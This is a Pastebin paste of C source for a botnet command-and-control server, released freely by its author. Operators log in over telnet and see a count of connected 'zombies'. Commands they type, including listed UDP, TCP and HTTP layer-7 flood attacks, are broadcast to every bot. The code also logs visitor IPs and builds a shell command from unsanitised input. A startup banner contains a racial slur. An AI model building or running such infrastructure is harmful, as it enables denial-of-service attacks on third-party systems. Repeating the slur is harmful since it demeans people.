UNTOUCHABLEHACKERGOD

chamber server-side

Feb 5th, 2018
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.50 KB | None | 0 0
  1. /*
  2. Server side By Jonah
  3. Free release
  4. logs the IP of the user connecting, along with a couple other cool things
  5. Small update:05/21/17
  6. If you would like to add users upon screen, compile like the following
  7. gcc server.c -o server -pthread -DUser
  8. if you just want to screen it, then do the following
  9. gcc server.c -o server -pthread
  10. Btw, if you plan on modifying this, at least give credit, thanks.
  11. */
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <unistd.h>
  19. #include <time.h>
  20. #include <fcntl.h>
  21. #include <sys/epoll.h>
  22. #include <errno.h>
  23. #include <pthread.h>
  24. #include <signal.h>
  25. #include <ctype.h>
  26. #define MAXFDS 1000000
  27. #define RED "\x1b[0;31m"
  28. #define GREEN "\x1b[0;32m"
  29. #define C_RESET "\x1b[0m"
  30.  
  31. struct account {
  32. char id[20];
  33. char password[20];
  34. };
  35. static struct account accounts[25];
  36.  
  37. struct clientdata_t {
  38. uint32_t ip;
  39. char build[7];
  40. char connected;
  41. } clients[MAXFDS];
  42.  
  43. struct telnetdata_t {
  44. uint32_t ip;
  45. int connected;
  46. } managements[MAXFDS];
  47.  
  48. ////////////////////////////////////
  49.  
  50. static volatile FILE *fileFD;
  51. static volatile int epollFD = 0;
  52. static volatile int listenFD = 0;
  53. static volatile int managesConnected = 0;
  54. static volatile int DUPESDELETED = 0;
  55.  
  56. ////////////////////////////////////
  57.  
  58.  
  59. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  60. {
  61. int total = 0, got = 1;
  62. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  63. return got;
  64. }
  65. void trim(char *str)
  66. {
  67. int i;
  68. int begin = 0;
  69. int end = strlen(str) - 1;
  70. while (isspace(str[begin])) begin++;
  71. while ((end >= begin) && isspace(str[end])) end--;
  72. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  73. str[i - begin] = '\0';
  74. }
  75.  
  76.  
  77. static int make_socket_non_blocking (int sfd)
  78. {
  79. int flags, s;
  80. flags = fcntl (sfd, F_GETFL, 0);
  81. if (flags == -1)
  82. {
  83. perror ("fcntl");
  84. return -1;
  85. }
  86. flags |= O_NONBLOCK;
  87. s = fcntl (sfd, F_SETFL, flags);
  88. if (s == -1)
  89. {
  90. perror ("fcntl");
  91. return -1;
  92. }
  93. return 0;
  94. }
  95.  
  96.  
  97. static int create_and_bind (char *port)
  98. {
  99. struct addrinfo hints;
  100. struct addrinfo *result, *rp;
  101. int s, sfd;
  102. memset (&hints, 0, sizeof (struct addrinfo));
  103. hints.ai_family = AF_UNSPEC;
  104. hints.ai_socktype = SOCK_STREAM;
  105. hints.ai_flags = AI_PASSIVE;
  106. s = getaddrinfo (NULL, port, &hints, &result);
  107. if (s != 0)
  108. {
  109. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  110. return -1;
  111. }
  112. for (rp = result; rp != NULL; rp = rp->ai_next)
  113. {
  114. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  115. if (sfd == -1) continue;
  116. int yes = 1;
  117. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  118. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  119. if (s == 0)
  120. {
  121. break;
  122. }
  123. close (sfd);
  124. }
  125. if (rp == NULL)
  126. {
  127. fprintf (stderr, "Could not bind\n");
  128. return -1;
  129. }
  130. freeaddrinfo (result);
  131. return sfd;
  132. }
  133. void broadcast(char *msg, int us, char *sender)
  134. {
  135. int sendMGM = 1;
  136. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  137. char *wot = malloc(strlen(msg) + 10);
  138. memset(wot, 0, strlen(msg) + 10);
  139. strcpy(wot, msg);
  140. trim(wot);
  141. time_t rawtime;
  142. struct tm * timeinfo;
  143. time(&rawtime);
  144. timeinfo = localtime(&rawtime);
  145. char *timestamp = asctime(timeinfo);
  146. trim(timestamp);
  147. int i;
  148. for(i = 0; i < MAXFDS; i++)
  149. {
  150. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  151. if(sendMGM && managements[i].connected)
  152. {
  153. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  154. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  155. send(i, " ", 1, MSG_NOSIGNAL);
  156. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  157. send(i, ": ", 2, MSG_NOSIGNAL);
  158. }
  159. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  160. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m> \x1b[0m", 13, MSG_NOSIGNAL);
  161. else send(i, "\n", 1, MSG_NOSIGNAL);
  162. }
  163. free(wot);
  164. }
  165.  
  166. void *epollEventLoop(void *useless)
  167. {
  168. struct epoll_event event;
  169. struct epoll_event *events;
  170. int s;
  171. events = calloc (MAXFDS, sizeof event);
  172. while (1)
  173. {
  174. int n, i;
  175. n = epoll_wait (epollFD, events, MAXFDS, -1);
  176. for (i = 0; i < n; i++)
  177. {
  178. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  179. {
  180. clients[events[i].data.fd].connected = 0;
  181. close(events[i].data.fd);
  182. continue;
  183. }
  184. else if (listenFD == events[i].data.fd)
  185. {
  186. while (1)
  187. {
  188. struct sockaddr in_addr;
  189. socklen_t in_len;
  190. int infd, ipIndex;
  191.  
  192. in_len = sizeof in_addr;
  193. infd = accept (listenFD, &in_addr, &in_len);
  194. if (infd == -1)
  195. {
  196. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  197. else
  198. {
  199. perror ("accept");
  200. break;
  201. }
  202. }
  203.  
  204. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  205.  
  206. int dup = 0;
  207. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  208. {
  209. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  210.  
  211. if(clients[ipIndex].ip == clients[infd].ip)
  212. {
  213. dup = 1;
  214. break;
  215. }
  216. }
  217.  
  218. if(dup)
  219. {
  220. DUPESDELETED++;
  221. continue;
  222. }
  223.  
  224. s = make_socket_non_blocking (infd);
  225. if (s == -1) { close(infd); break; }
  226.  
  227. event.data.fd = infd;
  228. event.events = EPOLLIN | EPOLLET;
  229. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  230. if (s == -1)
  231. {
  232. perror ("epoll_ctl");
  233. close(infd);
  234. break;
  235. }
  236.  
  237. clients[infd].connected = 1;
  238. send(infd, "!* SC ON\n", 9, MSG_NOSIGNAL);
  239.  
  240. }
  241. continue;
  242. }
  243. else
  244. {
  245. int thefd = events[i].data.fd;
  246. struct clientdata_t *client = &(clients[thefd]);
  247. int done = 0;
  248. client->connected = 1;
  249. while (1)
  250. {
  251. ssize_t count;
  252. char buf[2048];
  253. memset(buf, 0, sizeof buf);
  254.  
  255. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  256. {
  257. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  258. trim(buf);
  259. if(strcmp(buf, "PING") == 0) {
  260. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  261. continue; }
  262. if(strcmp(buf, "PONG") == 0) {
  263. continue; }
  264. printf("buf: \"%s\"\n", buf); }
  265.  
  266. if (count == -1)
  267. {
  268. if (errno != EAGAIN)
  269. {
  270. done = 1;
  271. }
  272. break;
  273. }
  274. else if (count == 0)
  275. {
  276. done = 1;
  277. break;
  278. }
  279. }
  280.  
  281. if (done)
  282. {
  283. client->connected = 0;
  284. close(thefd);
  285. }
  286. }
  287. }
  288. }
  289. }
  290.  
  291. unsigned int clientsConnected()
  292. {
  293. int i = 0, total = 0;
  294. for(i = 0; i < MAXFDS; i++)
  295. {
  296. if(!clients[i].connected) continue;
  297. total++;
  298. }
  299.  
  300. return total;
  301. }
  302.  
  303. void *titleWriter(void *sock)
  304. {
  305. int thefd = (long int)sock;
  306. char string[2048];
  307. while(1)
  308. {
  309. memset(string, 0, 2048);
  310. sprintf(string, "%c]0;Zombies connected: %d | Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  311. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  312.  
  313. sleep(2);
  314. }
  315. }
  316.  
  317. int Search_in_File(char *str)
  318. {
  319. FILE *fp;
  320. int line_num = 0;
  321. int find_result = 0, find_line=0;
  322. char temp[512];
  323.  
  324. if((fp = fopen("login.txt", "r")) == NULL){
  325. return(-1);
  326. }
  327. while(fgets(temp, 512, fp) != NULL){
  328. if((strstr(temp, str)) != NULL){
  329. find_result++;
  330. find_line = line_num;
  331. }
  332. line_num++;
  333. }
  334. if(fp)
  335. fclose(fp);
  336.  
  337. if(find_result == 0)return 0;
  338.  
  339. return find_line;
  340. }
  341. void client_addr(struct sockaddr_in addr){
  342. printf("IP:%d.%d.%d.%d\n",
  343. addr.sin_addr.s_addr & 0xFF,
  344. (addr.sin_addr.s_addr & 0xFF00)>>8,
  345. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  346. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  347. FILE *logFile;
  348. logFile = fopen("server.log", "a");
  349. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  350. addr.sin_addr.s_addr & 0xFF,
  351. (addr.sin_addr.s_addr & 0xFF00)>>8,
  352. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  353. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  354. fclose(logFile);
  355. }
  356.  
  357. void *telnetWorker(void *sock) {
  358. int thefd = (long int)sock;
  359. managesConnected++;
  360. int find_line;
  361. pthread_t title;
  362. char counter[2048];
  363. memset(counter, 0, 2048);
  364. char buf[2048];
  365. char* nickstring;
  366. char usernamez[80];
  367. char* password;
  368. char* admin;
  369. memset(buf, 0, sizeof buf);
  370. char botnet[2048];
  371. memset(botnet, 0, 2048);
  372.  
  373. FILE *fp;
  374. int i=0;
  375. int c;
  376. fp=fopen("login.txt", "r"); // format: user pass
  377. while(!feof(fp))
  378. {
  379. c=fgetc(fp);
  380. ++i;
  381. }
  382. int j=0;
  383. rewind(fp);
  384. while(j!=i-1)
  385. {
  386. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  387. ++j;
  388. }
  389. sprintf(botnet, ""GREEN"Username: \x1b[30m");
  390. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  391. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  392. trim(buf);
  393. sprintf(usernamez, buf);
  394. nickstring = ("%s", buf);
  395. find_line = Search_in_File(nickstring);
  396.  
  397. if(strcmp(nickstring, accounts[find_line].id) == 0){
  398. sprintf(botnet, ""RED"Welcome User\r\n");
  399. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  400. sprintf(botnet, ""GREEN"Password: \x1b[30m");
  401. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  402. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  403. trim(buf);
  404. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  405. memset(buf, 0, 2048);
  406. goto fak;
  407. }
  408. failed:
  409. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  410. goto end;
  411. fak:
  412.  
  413. pthread_create(&title, NULL, &titleWriter, sock);
  414. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  415. if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  416. char line1[80];
  417. sprintf(line1, ""C_RESET"***"GREEN" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n"GREEN"> "C_RESET"");
  418. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  419. pthread_create(&title, NULL, &titleWriter, sock);
  420. managements[thefd].connected = 1;
  421. while(fdgets(buf, sizeof buf, thefd) > 0)
  422. {
  423. if(strstr(buf, "!* BOTS"))
  424. {
  425. sprintf(botnet, "Zombies connected: "GREEN"[%d]"C_RESET"\r\nOperators connected: "GREEN"[%d]"C_RESET"\r\nDupes Deleted:"GREEN" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
  426. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  427. }
  428.  
  429. if (strstr(buf, "!* HELP"))
  430. {
  431. sprintf(botnet, "\x1b[0;32m!* STD IP PORT TIME || STD/UDP\r\n!* TCP IP PORT TIME 32 FLAGS SIZE INTERVALS || TCP\r\n!* L7 URL GET/HEAD/POST PORT PATH TIME POWER || LAYER 7\r\n!* KT | KILLS ATTACKS\r\n");
  432. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  433. }
  434.  
  435. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  436. {
  437. int hax;
  438. if(send(thefd, "Countdown Before Attack Will be Sent\r\n", 38, MSG_NOSIGNAL) == -1) goto end;
  439. for (hax = 5; hax > 0; --hax) {
  440. sleep(1);
  441. sprintf(botnet, "Time: %d\r\n", hax);
  442. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  443. }
  444. if(send(thefd, "Blast Off!\r\n", 12, MSG_NOSIGNAL) == -1) goto end;
  445. }
  446. if (strstr(buf, "!* CLEAR"))
  447. {
  448. if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  449. sprintf(line1, ""C_RESET"***"GREEN" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n");
  450. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  451.  
  452. }
  453. if (strstr(buf, "!* EXIT"))
  454. {
  455. goto end;
  456. }
  457. trim(buf);
  458. sprintf(botnet, "\x1b[32m> \x1b[0m");
  459. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  460. if(strlen(buf) == 0) continue;
  461. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  462. FILE *logFile;
  463. logFile = fopen("server.log", "a");
  464. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  465. fclose(logFile);
  466. broadcast(buf, thefd, usernamez);
  467. memset(buf, 0, 2048);
  468. }
  469.  
  470. end: // cleanup dead socket
  471. managements[thefd].connected = 0;
  472. close(thefd);
  473. managesConnected--;
  474. }
  475.  
  476. void *telnetListener(int port)
  477. {
  478. int sockfd, newsockfd;
  479. socklen_t clilen;
  480. struct sockaddr_in serv_addr, cli_addr;
  481. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  482. if (sockfd < 0) perror("ERROR opening socket");
  483. bzero((char *) &serv_addr, sizeof(serv_addr));
  484. serv_addr.sin_family = AF_INET;
  485. serv_addr.sin_addr.s_addr = INADDR_ANY;
  486. serv_addr.sin_port = htons(port);
  487. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  488. listen(sockfd,5);
  489. clilen = sizeof(cli_addr);
  490. while(1)
  491.  
  492. { printf("Connecting To Server: ");
  493. client_addr(cli_addr);
  494. FILE *logFile;
  495. logFile = fopen("IP.log", "a");
  496. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  497. fclose(logFile);
  498. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  499. if (newsockfd < 0) perror("ERROR on accept");
  500. pthread_t thread;
  501. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  502. }
  503. }
  504.  
  505. int main (int argc, char *argv[], void *sock)
  506. {
  507. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  508.  
  509. int s, threads, port;
  510. struct epoll_event event;
  511. char Username[20], Password[20];
  512. #ifdef User
  513. printf("Please Enter Username: ");
  514. scanf("%s",Username);
  515. printf("Please Enter Password: ");
  516. scanf("%s",Password);
  517. char hahaha[80];
  518. sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  519. system(hahaha);
  520. #endif
  521. if (argc != 4)
  522. {
  523. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  524. exit (EXIT_FAILURE);
  525. }
  526. port = atoi(argv[3]);
  527. threads = atoi(argv[2]);
  528. if (threads > 850)
  529. {
  530. printf("Are You Dumb? Lower the Threads\n");
  531. return 0;
  532. }
  533. else if (threads < 850)
  534. {
  535. printf("Good Choice in Threading\n");
  536. }
  537. #ifdef User
  538. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  539. #endif
  540. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  541.  
  542. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  543. if (listenFD == -1) abort();
  544.  
  545. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  546. if (s == -1) abort();
  547.  
  548. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  549. if (s == -1)
  550. {
  551. perror ("listen");
  552. abort ();
  553. }
  554.  
  555. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  556. if (epollFD == -1)
  557. {
  558. perror ("epoll_create");
  559. abort ();
  560. }
  561.  
  562. event.data.fd = listenFD;
  563. event.events = EPOLLIN | EPOLLET;
  564. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  565. if (s == -1)
  566. {
  567. perror ("epoll_ctl");
  568. abort ();
  569. }
  570.  
  571. pthread_t thread[threads + 2];
  572. while(threads--)
  573. {
  574. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  575. }
  576.  
  577. pthread_create(&thread[0], NULL, &telnetListener, port);
  578.  
  579. while(1)
  580. {
  581. broadcast("PING", -1, "STRING");
  582. sleep(60);
  583. }
  584.  
  585. close (listenFD);
  586.  
  587. return EXIT_SUCCESS;
  588. }
Add Comment
Please, Sign In to add comment